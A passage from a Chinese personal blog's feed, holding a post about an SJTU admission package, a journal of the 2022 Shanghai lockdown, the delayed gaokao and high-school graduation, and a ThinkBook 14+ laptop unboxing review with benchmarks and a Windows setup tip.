data-srcset="https://hans362-img.oss.0vv0.top/2022/08/08/c03886f11c1c173f0c07fad294d15adb.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>最底下有一封信、一块磁铁以及校史尺和老虎挂件。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/08/4c8101fef3b0ee53611efb2a44fce45f.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/08/4c8101fef3b0ee53611efb2a44fce45f.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/08/8273694bfe5b1fbeaf9beaa1454c323a.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/08/8273694bfe5b1fbeaf9beaa1454c323a.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><s>林志颖</s>（雾</p><p>拿到通知书之后注册了<s>甲亢</s> JAccount，然后在“交我办”上面填了一堆的表格（其中还有一个其实没有啥用的宿舍调研），领了电子校园卡，不得不感叹 SJTU 的信息化水平还是很高的。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/08/2084d5af17343d947e35cddee9e0fd70.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/08/2084d5af17343d947e35cddee9e0fd70.png?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/08/08/c164a28ce57854bea59045ce7e9f703c.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/08/08/c164a28ce57854bea59045ce7e9f703c.jpg?width=1920" srcset="/loading.gif" alt=""></p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>总之忙忙碌碌到了8月头，总算是把高考这档子事给完结啦，这下心定了。之后大概也就宅家了，到8月23-24号去 SJTU 报到，然后军训两周，迎接大学生活。</p><p>总体而言对这个结果还是满意的，虽然还是有一点点小遗憾，语文要是正常发挥应该就能进 SJTU IEEE/AI 了，但是至少还是进了想进的大学和专业大类，继续加油吧。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;又半个月过去了，&lt;s&gt;是时候来水一篇文章了（）&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;好吧，其实是因为8月3日晚就查到了录取结果，终于算是尘埃落定，可以安心过暑假了，就趁此机会就来记录一下7月这后半个月的事情吧。&lt;/p&gt;</summary>
    
    
    
    <category term="周记" scheme="https://blog.hans362.cn/categories/%E5%91%A8%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>周记#25 - 近况报告：高中生活完结🎉</title>
    <link href="https://blog.hans362.cn/post/weekly-25/"/>
    <id>https://blog.hans362.cn/post/weekly-25/</id>
    <published>2022-07-16T11:56:38.000Z</published>
    <updated>2025-12-31T14:36:17.828Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>大家好呀。转眼到了7月中旬，“周记”系列时隔大半年终于等来了更新（好耶！）。</p><p>前段时间我终于考完了秋季高考，并且高中毕业啦！趁着现在还没出成绩比较空闲，决定把这个大坑填一下。</p><p>所以这篇文章就是关于我消失的这半年发生的事情。因为这半年经历了太多，<s>所以大概也要讲个半年吧</s>（bushi)</p><p>咳咳，那么就开始吧！</p><span id="more"></span><h2 id="突如其来的疫情"><a class="markdownIt-Anchor" href="#突如其来的疫情"></a> 突如其来的疫情</h2><p>我是做梦也想不到，2年了，疫情竟会以这种方式粉碎我的生活。年初的时候看到有人开玩笑说2022==2020，因为 twenty twenty-two == twenty twenty, too，现在想来简直就是预言家。</p><p>高三下开学没多久，上海的新冠疫情突然就爆发了。大概是三月初的某一天，班级里好几个同学都接到家长打来的电话，说小区被封了（只进不出），让他们放学先别回家。我因为住得比较远，暂时没有被疫情波及到。班主任也让他们想办法找别的地方住，尽量不要影响第二天上课。结果那天晚自习上到一半，大概晚上九点多，班主任愁眉苦脸地进了教室，说她家小区也被封了，她现在无处可去，最后就只好被关在家里了。</p><p>之后听了两天网课，到了周五班主任终于回来了。这天上午全校进行了核酸检测，我的零核酸记录终究还是被打破了。下午市教委就通知从下周起开始线上教学。就这样，网课生活时隔一年竟又开始了。此时的我还抱有幻想，以为疫情能很快控制住，网课应该不会持续太久，完全没意识到大的还在后头。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/16/5d58d81a9d278cfd4258e0f451ea8c74.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/16/5d58d81a9d278cfd4258e0f451ea8c74.jpg?width=1920" srcset="/loading.gif" alt=""></p><h2 id="漫长的网课生活"><a class="markdownIt-Anchor" href="#漫长的网课生活"></a> 漫长的网课生活</h2><p>原以为网课应该会和高一的时候一样比在校要轻松，结果第一天下来就累死了。每节课由40分钟变成了120分钟，而且从早上7点半到晚上9点半全程要活在摄像头监控之下，和监狱里犯人的待遇差不多了（看来我校“上海衡水”的外号不是白叫的）。</p><p>然后毕竟是高三嘛，少不了各种考试和测验。尽管有摄像头，但也只是防君子不防小人。如果说平时考试有水分的话，网课考试简直就是在水里考，几次考试我的排名都噌噌噌掉了60多名。幸好网课的成绩不作为任何依据，只是供自己参考。</p><p>网课一周接着一周，看着每天都在飙升的疫情数据我预感大事不妙，果然不久市教委通知等级考延期一个月，高考延期一个月。此时我的内心是崩溃的。说实话整个高三都没有击垮我，真正击垮我的是在还有1个月就要刑满释放的时候，突然得知要加刑1个月，这种计划、愿景的破碎太令人痛苦了。最后我也只能认清形势，放弃幻想。</p><h2 id="居家的日子"><a class="markdownIt-Anchor" href="#居家的日子"></a> 居家的日子</h2><p>关于核酸，三天一大筛，五天一小筛，这种日子已经习以为常了，半年来喉咙都快被捅出茧子了，没完没了的核酸、核酸。后来还发了抗原，也是每天自己捅鼻子，拍照上传。</p><p>关于物资，这真的得感谢我妈。她听信了一些被“辟谣”的小道消息说上海要封城，提前屯了很多菜才不至于像网上很多人那样被封了个猝不及防。每天早上还兢兢业业地在各种平台上抢菜。至于居委会嘛也确实发了菜，但是显然不够一家三口人吃的，而且蔬菜品质不佳。有一次发了两个橙子，我妈随手放冰箱了，结果放了一天就已经发霉到烂完了，还把冰箱里的其他东西都搞上了一股烂橙子味，又舍不得扔只能吃了好几天烂橙子味的鸡蛋和蔬菜。</p><p>关于快递，这点我们小区还是做得可以的。统一放在小区门口的快递架上，门卫会帮忙消毒、带进来，也没有随意丢弃、处置快递和物资。</p><p>关于配药，因为我痤疮比较严重，药又刚好用完，医院是不敢去了，于是第一次体验了互联网医院这种东西。用起来还是很方便的，手机上就能调出之前去医院的病历，然后就可以开处方药，快递到家。</p><h2 id="一个月的线下复课"><a class="markdownIt-Anchor" href="#一个月的线下复课"></a> 一个月的线下复课</h2><p>大概六月初终于回到了学校，然而不能坐公共交通上下学，全天戴口罩，每天依旧要做抗原+核酸。</p><p>等级考前，每天就上四节40分钟的课，然后做核酸，学校里一层楼两百多个人共用一个检测点，排队排了半小时。每天竟然下午三点就放学，不过回到家后依然要视频监控，快吐了。</p><p>等级考之后放学时间调到了5点半，全天课表语数英塞满，高二的同学也都回家继续上网课了，整个学校就只有高三的还在。天天都在期盼着高考的到来。</p><p>期间做了数学的全国高考卷，是真的难，对于普通的上海考生而言即使能用计算器也不好做。还写了语文的几篇全国高考作文，感觉立场出题人都帮你预设好了，写起来很没劲，尤其是红楼梦的那篇和本手俗手妙手的那篇写出来简直一模一样，还是上海的作文有意思。</p><p>六月底的时候毕业证书到了，因为疫情没有毕业照、没有毕业典礼，但班主任还是仪式感满满地让大家一个一个上台领毕业证书，终于毕业啦。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/16/b7823c9773cc6e6ccf0ce048db2bc7cc.jpeg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/16/b7823c9773cc6e6ccf0ce048db2bc7cc.jpeg?width=1920" srcset="/loading.gif" alt=""></p><p>6月30日，在校上课的最后一天。前几天还想着“这学校我是一秒都待不下去了”，可真的到了最后一天还是很不舍的。和同学拍了很多照片，没有正式的毕业照我们也自己 DIY 了一张。下午布置完高考考场就放学了，但大家都没有要走的意思。折了很多纸飞机，站在教学楼顶一起往下飞，大家互相加油打气。</p><h2 id="物理等级考"><a class="markdownIt-Anchor" href="#物理等级考"></a> 物理等级考</h2><p>6月18日参加了物理等级考，原以为会和2020年疫情后的那场等级考一样很难，结果走了另一个极端——过于简单。</p><p>整张卷子可以说让高二的我来做都没有问题。但是简单也意味着极高的风险。等级考划分等级看的不是分数而是名次，卷子过于简单缺少区分度，会导致错误被放大，稍有不慎就会出现断崖式的滑档。</p><p>很不幸我中招了。压轴题第二问二元一次方程解错了，后面三问用的都是错误的数据，考完出来一对答案我真的哭死。整张卷子就错了这一道题，但是很致命，感觉可能要得B了。</p><h2 id="秋季高考"><a class="markdownIt-Anchor" href="#秋季高考"></a> 秋季高考</h2><p>7月7日、8日、9日参加了2022年上海市秋季高考，延期一个月，它终于来了！</p><p>一早来到学校，刷了身份证，测体温，然后到学校的新楼候考。（新楼终于装修好了，只可惜我已经毕业了）</p><p>提前半小时终于让进教学楼了，我的考场竟然在顶楼，爬楼梯太累人了。到达考场过完金属检测，一进教室就看到讲台前一个熟悉的身影，监考老师竟然是生物老师？！</p><p>高二考完生物等级考后她就去教下一届了，一年多没见竟然以这种方式又见面了，而且她还记得我，一下子就认出我了，还笑着问我怎么又长高了，很意外。</p><p>第一天考下来语文感觉挺顺手的，作文之前还担心会不会像浙江那样彻底沦为申论，结果依旧很有上海的思辨特色，能写的角度很广，但是考完没啥感觉也不知道考得怎么样。</p><p>数学只能说会做的确实都做对了，但是压轴爆杀我，填选压轴都错了，解答压轴猜对了答案不会证，无缘135+，另外应用题答案很怪，让我一度不敢相信，解析几何也不太常规，差点就寄了。</p><p>第二天下午考英语，自从春考结束后就没上过英语课，只是打算去碰碰运气的。下午很早进入考场，闲得无聊就打开收音机听 FM 89.9 MHz（英语听力的频率），竟然在放《凤凰花开的路口》，我戴着耳机坐在考场里听得快破防了，这歌选得真应景啊。（899 老传统了，每年秋季高考英语听力之前都要放一首歌，把考生搞 emo 之后再来一句“祝各位考试顺利”，用心险恶啊😂）</p>    <div id="aplayer-WCtSWgrw" class="aplayer aplayer-tag-marker meting-tag-marker" data-id="109734" data-server="netease" data-type="song" data-mode="circulation" data-autoplay="false" data-mutex="true" data-listmaxheight="340px" data-preload="auto" data-theme="#ad7a86"></div><iframe src="//player.bilibili.com/player.html?aid=428198766&amp;bvid=BV1iG411W7dR&amp;cid=767664366&amp;page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" width="100%"> </iframe><p>考下来竟然感觉比春考还简单，第三天的口语也很常规，感觉我又行了，看看能不能比春考高。</p><p>感觉今年整体难度不高，大概是因为疫情闹得这么严重想要稳定社会吧，但最后分数线估计也会高不少，高分段竞争更加激烈了，有点担心能不能上得了自己喜欢的专业。</p><h2 id="等级考查分"><a class="markdownIt-Anchor" href="#等级考查分"></a> 等级考查分</h2><p>7月15日查到了物理等级考成绩，很害怕看见B，还好最后拿了个A（赋分67/70）。虽然最初的目标是A+啊，但毕竟这么简单的卷子错了不该错的题，拿个A也心满意足了，至少没有应验我们物理老师的经典劝退名言“选物理，得个B”。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/16/b4442c01f4106b4354bfe89480345d1b.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/16/b4442c01f4106b4354bfe89480345d1b.jpg?width=1920" srcset="/loading.gif" alt=""></p><h2 id="亿些总结"><a class="markdownIt-Anchor" href="#亿些总结"></a> 亿些总结</h2><h3 id="关于疫情"><a class="markdownIt-Anchor" href="#关于疫情"></a> 关于疫情</h3><p>这半年可以说是击碎了我对于中国社会的一切幻想，润的决心更加坚定了。两年了，我们几乎没有进步。</p><p>早在2020年的文章中我就提到过，如果只是问责几个官员，然后开庆功大会、高唱赞歌，不反思、不吸取教训，十几年后这一切必定会重演。现在看看还是低估了人类的能力，短短两年之前发生的一切又在另一座城市原封不动地上演了一次。</p><p>原本还对上海这座城市有一些期望，因为一直以来我能够感受到这座城市的人文、人情和人性，包括之前的精准防控效果很好，生活几乎已经回归到了正轨。</p><p>但疫情爆发后的这半年目睹的种种现象，让我一下子对这座城市失去了信任。扑杀宠物、强行破门、发国难财、重症病人无处就医等等，如此种种两年前就发生过的事情竟再度上演，政府公信力在一次又一次的对辟谣的辟谣中瓦解。所谓的生命至上被原则化、政治化，在疫情防控面前，似乎个体的生活乃至生命都是可以被牺牲的——只要与新冠无关。这个城市、这个国家的未来还会好吗？</p><blockquote class="twitter-tweet"><p lang="zh" dir="ltr">其实我挺反感「非必要如何如何」这种说法的。<br>由必需品构成的是「活着」。<br>而「生活」正是由种种「非必要」构成的。<br>去看外面的世界，去见心爱的人，去用一点精致而不甚昂贵的食物犒赏劳累一天的自己。<br>我们拼命生活，或许为的其实就是这些「不必要」。 <a href="https://t.co/SBsALiWKBQ">pic.twitter.com/SBsALiWKBQ</a></p>— 曹哲 (@LightCavalryCZ) <a href="https://twitter.com/LightCavalryCZ/status/1522923256474640385?ref_src=twsrc%5Etfw">May 7, 2022</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><p>虽然短时间内应该是润不了，而且国内也有家人，能否适应一个新的环境也是个问题，但是至少现在可以做些准备了。等到哪天铁拳真的砸到我头上了，就努力润吧。</p><h3 id="致我逝去的高中生活"><a class="markdownIt-Anchor" href="#致我逝去的高中生活"></a> 致我逝去的高中生活</h3><p>最后，讲讲这三年的高中生活。</p><p>尽管这所学校的领导层和部分老师有点招人厌，形式主义泛滥，标榜着某些好听的口号却实则是在复刻衡水模式，但是很幸运遇到了非常好的同学和老师（可能是在实验班的缘故），让这三年值得我留恋。</p><p>先说同学，大家的关系都非常好。每逢大考小考教室就成了菜市场，一个个也不管考了几分都在那里卖菜；空闲的下午总能找到人陪你去自习室看书刷题，学习氛围很棒；我篮球打得很糟糕，然而每次几个同学去打球都会叫上我…总之很高兴高中三年有这么好的同学相伴。</p><p>再讲讲任课老师，尤其吹爆语文老师，至少是打破了我对于语文老师的刻板印象。她可以说是非常理性，从不生气，即使生气了也不表现出来，只是苦笑着阴阳怪气两句，听不懂的还以为她在夸你呢（比如“我们班的同学真是太优秀了，默写这5分根本看不上，我们要拿就拿后面的分”）。而且比起华丽虚浮的辞藻她更看重逻辑，无论是作文还是答题。甚至专门花了两节语文课给我们讲形式逻辑，讲同一律、矛盾律、排中律，讲典型的逻辑谬误，能够接受这样的语文教育真的很幸运。</p><p>总的来说高中三年虽然对学校没有多少认同感，但是很幸运能够碰上这么好的同学和老师，希望以后还能常联系吧。</p><h2 id="之后的安排"><a class="markdownIt-Anchor" href="#之后的安排"></a> 之后的安排</h2><p>7月23日出成绩，然后就要开始忙起来了，强基、志愿填报、综合评价批次面试，最理想的情况是综评批次被录取，这样8月4日以后就可以定定心心地过暑假了。</p><p>至于原本打算回老家的计划因为该死的疫情也只能泡汤了，三年没回去了，下一次有机会回去也不知道是啥时候。</p><p>好了，这篇周记就到这了。下一篇周记大概在录取结果出来之后吧，希望到时候能去想去的学校和专业。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;大家好呀。转眼到了7月中旬，“周记”系列时隔大半年终于等来了更新（好耶！）。&lt;/p&gt;
&lt;p&gt;前段时间我终于考完了秋季高考，并且高中毕业啦！趁着现在还没出成绩比较空闲，决定把这个大坑填一下。&lt;/p&gt;
&lt;p&gt;所以这篇文章就是关于我消失的这半年发生的事情。因为这半年经历了太多，&lt;s&gt;所以大概也要讲个半年吧&lt;/s&gt;（bushi)&lt;/p&gt;
&lt;p&gt;咳咳，那么就开始吧！&lt;/p&gt;</summary>
    
    
    
    <category term="周记" scheme="https://blog.hans362.cn/categories/%E5%91%A8%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>ThinkBook 14+ 2022 i5 独显版开箱</title>
    <link href="https://blog.hans362.cn/post/thinkbook-14-plus/"/>
    <id>https://blog.hans362.cn/post/thinkbook-14-plus/</id>
    <published>2022-07-11T10:13:24.000Z</published>
    <updated>2025-12-31T14:36:17.824Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>好久不见。大家可能已经知道了，因为这该死的疫情，上海的秋季高考推迟一个月举行。这对我来说不仅痛苦延长，而且人生中期盼已久的的真正意义上的暑假也完全泡汤了。</p><p>好在这几天终于考完了高考，可以暂时轻松一段时间了。关于近况之后会再开一篇又臭又长的文章好好讲讲，这里先不赘述了。</p><p>言归正传，考完试后，我就开始物色人生中第一台属于自己的笔记本了。经过一番精挑细选，最终选择了 ThinkBook 14+ 2022 i5 独显版，这篇文章就来开个箱以及记录一下使用感受。</p><span id="more"></span><h2 id="选择缘由"><a class="markdownIt-Anchor" href="#选择缘由"></a> 选择缘由</h2><p>首先考虑到这是一台将要陪伴我至少4年的笔记本，因此坚持“买新不买旧”的原则，又考虑到大学大概率会选择计算机专业，听说 AMD 处理器会有一些问题（虽然可能现在已经没有了），决定只考虑搭载了 Intel 12代处理器的笔记本。</p><p>然后平时偶尔会打打游戏，主要有 Minecraft、原神（诶嘿~我收回之前说过只玩 MC 的话），而且暑假里因为疫情不能出门聚会，和高中同学约了一起打老头环，所以肯定要有一块独立显卡，显存还不能太小。</p><p>最后考虑便携性，2kg 以上的笔记本就不考虑了，也就意味着游戏本基本上都不考虑。毕竟天天背着笨重的笔记本在宿舍楼和教学楼之间来回跑简直是酷刑。感谢之前 @PRIN 大佬的一篇文章<a href="https://printempw.github.io/dont-buy-a-gaming-laptop-for-college/">《上大学买游戏本，你可能会后悔》</a>。</p><p>综合以上几点最终确定了这台 ThinkBook 14+ 2022 i5 独显版。12代 i5-12500H 处理器搭配 RTX 2050 光线追踪显卡，除了续航能力崩了而我又恰好不介意这点之外，其他看上去都没有什么问题。6299元的售价更是非常的香。于是就在京东下了单，竟然当天下午就收到货了，现在买东西是真的方便啊。</p><h2 id="开箱验机"><a class="markdownIt-Anchor" href="#开箱验机"></a> 开箱验机</h2><p>在下单之前也看了网上很多的翻车记录，有人屏幕装歪了，有人四个脚垫不一样高，有人触摸板缺了一角，有人键盘的某一个键和别的键手感不一样，还有人屏幕漏光或是水波纹。不过想着这么高的销量有些翻车也正常，所以没太担心。</p><p>又看到这款电脑的无线网卡是 Intel 和 Realtek（可能存在断流问题）随机发货的，硬盘是三星和镁光随机发货的，还挺期待自己会不会中奖。</p><p>到手后，最外面是京东的纸箱，里面又套了一个 ThinkBook 的纸箱，再里面才是本体和充电器。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/e5dfc7cd9de8e9e4592647936b0873ae.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/e5dfc7cd9de8e9e4592647936b0873ae.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>笔记本约1.4kg，没有想象中的轻但也能够接受，14寸的大小对我而言刚刚好，厚度也很满意。仔细检查了一下外观上没有翻车。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/d9717dc64d655f023dcb9abc759b2c1f.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/d9717dc64d655f023dcb9abc759b2c1f.png?width=1920" srcset="/loading.gif" alt=""></p><p>原装充电器是三段式的设计，和传统笔记本比较相似，连接市电的那端用的是三脚插头，好评（后面会提到原因）。但是这也带来一个问题，就是挺重的。外出携带的话我可能会考虑再另购一个氮化镓的充电器。</p><p>机身侧面有两个 USB 3.2 Type-A（左右各一），一个 USB 3.2 Type-C（左侧，也用作充电口），一个 ThunderBolt 4.0（左侧），一个 USB 2.0 Type-A（右侧隐藏式）。除此之外还有一个 HDMI 2.1 TMDS（左侧），一个耳机麦克风二合一接口（左侧），一个 RJ45 以太网接口（右侧）以及一个 Micro SD 卡槽（右侧）。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/29a34c007c58aa3d90b8db7e5faec44b.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/29a34c007c58aa3d90b8db7e5faec44b.jpg?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/32c4f0ddebbb59a9f90a5ed52fbb1032.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/32c4f0ddebbb59a9f90a5ed52fbb1032.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>盖子可以单手开合。开盖后直接按电源键开机没反应，说明电脑正处于出厂后的运输模式中，不是翻新机。连接电源后正常开机，进入 Windows 11 OOBE。</p><p>到了联网的这一步有一个小技巧。因为万一要退货机器是不能联网激活的，而 Windows 11 又不提供跳过这一步的按钮。因此我们可以用 Shift + Fn + F10 打开命令提示符，再输入 taskmgr 调出任务管理器，在进程中找到“网络连接流”，结束任务即可跳过联网。后续会让你创建本地账户，如果想要使用 Microsoft 账户可以等到验机没有问题联网后在设置里关联。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/b2c10f83bf138cd63cccabc29b393eca.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/b2c10f83bf138cd63cccabc29b393eca.png?width=1920" srcset="/loading.gif" alt=""></p><p>进入桌面后先用工具箱看了下配置，惊喜地发现中奖了 Intel AX201 网卡和三星的固态硬盘，爽。就是头一回见到 16G 内存竟然是一堆 2G 叠出来的，属实有点离谱。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/751ebbc26ebb632cd095f9a9715ea4ec.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/751ebbc26ebb632cd095f9a9715ea4ec.png?width=1920" srcset="/loading.gif" alt=""></p><h2 id="性能测评"><a class="markdownIt-Anchor" href="#性能测评"></a> 性能测评</h2><p>以下测试均在均衡模式下连接充电器进行，仅供参考。</p><p>CPU-Z 测试结果：</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/3b793158be8151bf04eadc5e02135879.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/3b793158be8151bf04eadc5e02135879.png?width=1920" srcset="/loading.gif" alt=""></p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/e624aa268701ecbc073451aac6c41495.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/e624aa268701ecbc073451aac6c41495.png?width=1920" srcset="/loading.gif" alt=""></p><p>GPU-Z 测试结果：</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/194fd3517d2828992c17f8dc1e875349.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/194fd3517d2828992c17f8dc1e875349.png?width=1920" srcset="/loading.gif" alt=""></p><p>CineBench R23 多核测试结果：</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/a08dbc65995143566b902598b77f8029.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/a08dbc65995143566b902598b77f8029.png?width=1920" srcset="/loading.gif" alt=""></p><p>SSD Benchmark 测试结果：</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/bb3b13fa0787a9c8f9d8a4cf315adf1f.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/bb3b13fa0787a9c8f9d8a4cf315adf1f.png?width=1920" srcset="/loading.gif" alt=""></p><p>显示器色域测试结果：</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/d0052a7622c560ceee4332f8e3d93092.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/d0052a7622c560ceee4332f8e3d93092.png?width=1920" srcset="/loading.gif" alt=""></p><p>测试过程中风扇转速加快，能够明显听到风声，但个人认为可以接受，不影响使用体验。屏幕转轴处较烫手（靠近散热口），但键盘温度并没有明显上升，使用舒适。</p><p>因为不想让某大师玷污我的电脑，所以此处没有某大师跑分截图。</p><h2 id="使用体验"><a class="markdownIt-Anchor" href="#使用体验"></a> 使用体验</h2><h3 id="一些小优点"><a class="markdownIt-Anchor" href="#一些小优点"></a> 一些小优点</h3><ol><li>接口丰富，扩展性强。USB 接口完全够用，同时主板上还预留了一个硬盘位，可以加装一块硬盘。</li><li>隐藏式 USB 2.0 设计超赞。乍一看很鸡肋，又慢又不方便，但实际上设计的初衷是用这个口连接一些无线适配器，如无线键鼠等。这些设备的接收端通常很小，也不需要 USB 3.2，刚好能把仓盖盖上藏起来。<img src="https://hans362-img.oss.0vv0.top/2022/07/11/2397a0da5c62a70e985ab5fc5098ffa5.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/2397a0da5c62a70e985ab5fc5098ffa5.png?width=1920" srcset="/loading.gif" alt=""><img src="https://hans362-img.oss.0vv0.top/2022/07/11/f9af4af636eedd72056671ebc4a22882.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/f9af4af636eedd72056671ebc4a22882.jpg?width=1920" srcset="/loading.gif" alt=""></li><li>1080P 高清摄像头，带红外功能，支持 Windows Hello 人脸解锁。<img src="https://hans362-img.oss.0vv0.top/2022/07/11/56e72911b99280652fd69d45f87a3688.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/56e72911b99280652fd69d45f87a3688.png?width=1920" srcset="/loading.gif" alt=""></li><li>原装电源适配器是三脚插头（上文提到过），因此有接地，金属外壳不会在充电时带上电荷而让人感觉酥酥麻麻的，更不会升天警告。（经典咏流传）<blockquote class="twitter-tweet"><p lang="zh" dir="ltr">我警告你们，刚洗完澡千万不要用湿着的身体碰插单相电源的Mac！！！尤其不要让自己的雕垂在Mac上！！！！！！！！！！！！！！！！！！老子要升天了！！！！！！！！！！日妈批！！！！！</p>— H λ L F - D E λ D (@mariotaku) <a href="https://twitter.com/mariotaku/status/496733277274013696?ref_src=twsrc%5Etfw">August 5, 2014</a></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><s>准备买个单相电源体验一下</s></li></ol><h3 id="一些小不足"><a class="markdownIt-Anchor" href="#一些小不足"></a> 一些小不足</h3><ol><li>因为厚度的制约，键盘键程较短，打字手感需要适应。没有数字小键盘，上下方向键是半高的，对于部分游戏玩家可能不那么友好，建议外接键盘。</li><li>没有指纹识别，不过有人脸解锁也够用了。</li><li>电源适配器较重，携带不便。（上文提到过）</li><li>显卡是 RTX 2050，算是一个阉割版本。对于游戏性能要求较高的玩家慎入，对我而言能玩就行。</li><li>续航真的不行，对续航有要求的慎入。用电池建议开节电模式可以撑5个小时以上，不过我习惯插电使用，问题不大。</li><li>屏幕转轴阻尼设计不好，开盖后屏幕会抖动一会儿。</li></ol><h3 id="游戏实际体验"><a class="markdownIt-Anchor" href="#游戏实际体验"></a> 游戏实际体验</h3><p>Minecraft 开光影稳定高帧率，游戏体验很好。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/414ef96694c3dd6c28bf460ef1889806.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/414ef96694c3dd6c28bf460ef1889806.png?width=1920" srcset="/loading.gif" alt=""></p><p>原神中画质稳定60FPS，游戏体验同样很棒。</p><p>至于老头环还没买，暂时无法体验。</p><h3 id="生产力实际体验"><a class="markdownIt-Anchor" href="#生产力实际体验"></a> 生产力实际体验</h3><p>这篇文章就是在新电脑写的，习惯了键盘后体验很棒。</p><p>屏幕比例是 16:10，这个比例写代码也很舒适，屏幕大小完全够用。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/3d6fb2a7e5c648c3369eee9fa96c71b3.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/3d6fb2a7e5c648c3369eee9fa96c71b3.png?width=1920" srcset="/loading.gif" alt=""></p><p>16GB 内存够用，Chrome 标签页随便开无压力。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/07/11/a219bc61426dccb18551c5ca7cc69137.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/07/11/a219bc61426dccb18551c5ca7cc69137.png?width=1920" srcset="/loading.gif" alt=""></p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>总的来说这台电脑非常符合我的预期，即使有一些小问题也是我不在意的，整体用起来非常舒适。当然本文仅代表我个人的体验，大家还是要根据自己的需求进行选择，毕竟适合自己的才是最好的。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;好久不见。大家可能已经知道了，因为这该死的疫情，上海的秋季高考推迟一个月举行。这对我来说不仅痛苦延长，而且人生中期盼已久的的真正意义上的暑假也完全泡汤了。&lt;/p&gt;
